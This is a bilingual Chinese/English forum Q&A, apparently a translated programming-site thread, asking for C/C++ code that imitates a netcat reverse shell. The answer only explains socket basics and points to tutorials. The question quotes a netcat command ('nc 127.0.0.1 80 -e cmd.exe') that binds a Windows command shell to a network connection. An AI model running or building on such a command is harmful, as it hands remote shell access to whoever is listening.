在 C(++) 中寻找基本的反向 Shell 示例
我试图在 C 或 C++ 中找到一个基本的反向 shell 示例,
基本上我想编写一段代码来模拟以下 netcat 场景:
Listener:
------------------
C:\nc -L -p 80
Client
--------------
C:\nc 127.0.0.1 80 -e cmd.exe
对于不会说 netcat 的人:
这意味着我想从 cmd 重定向 stdin 和 stdout。 exe 到网络的流输入和输出。 因此,远程设备上的用户可以从远程计算机上运行 cmd.exe。
我正在寻找 C/C++ 示例代码来执行此操作?
I'm trying to find a basic reverse shell example in C or C++,
Basically I want to write a code to simulate the following netcat scenario:
Listener:
------------------
C:\nc -L -p 80
Client
--------------
C:\nc 127.0.0.1 80 -e cmd.exe
For whom doesn't speak netcat:
This means I want to redirect stdin and stdout from cmd.exe to network's stream in and out.
So a user from a remote box can run cmd.exe from the remote computer.
I'm looking for C / C++ example code to do this?
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论
评论(1)
netcat
基本上是接受(作为服务器时)或打开(作为客户端时)套接字的东西。 输入到stdin
中的任何内容都会写入套接字。 从套接字读取的任何内容都会写入stdout
。 任何错误都会写入stderr
。这就是基础知识。 看起来您正在 Windows 上使用它并将标准 IO 连接到命令 shell。 我不确定为什么/这对你有什么作用,所以我现在暂时忽略它。
不管怎样,你需要做的是编写一个接受/打开套接字的应用程序,写入......等等......(参见第1段)。
网上有很多东西解释了如何做到这一点。 您的问题的最终答案取决于您为什么要这样做(即为什么不只使用
netcat
),您是否想要一个可以在任何平台上构建的良好 POSIX 兼容应用程序或仅限 Windows 的应用程序(并且可能使用 Windows UI 组件)以及其他注意事项。我建议您首先在 Google 上搜索c 中的套接字编程, C++ 套接字编程,或 Windows套接字编程。
netcat
is basically something that either accepts (when acting as server) or opens (when acting as client) a socket. Anything typed intostdin
is written to the socket. Anything read from the socket is written tostdout
. Any errors are written tostderr
.That's the basics. It looks like you are using it on Windows and attaching the standard IO to a command shell. I'm not sure why/what this does for you, so I'm going to ignore that for now.
Anyway, what you need to do is write an app that accepts/opens a socket, write to ... etc... (see paragraph 1).
There is a lot of stuff online that explains how to do this. The ultimate answer to your question depends on why you want to do this (i.e. why not just use
netcat
), whether you want a nice POSIX compliant app that would build on any platform or something that is Windows only (and maybe uses Windows UI components), and other considerations.I recommend you start by searching Google for something like socket programming in c, socket programming in c++, or Windows socket programming.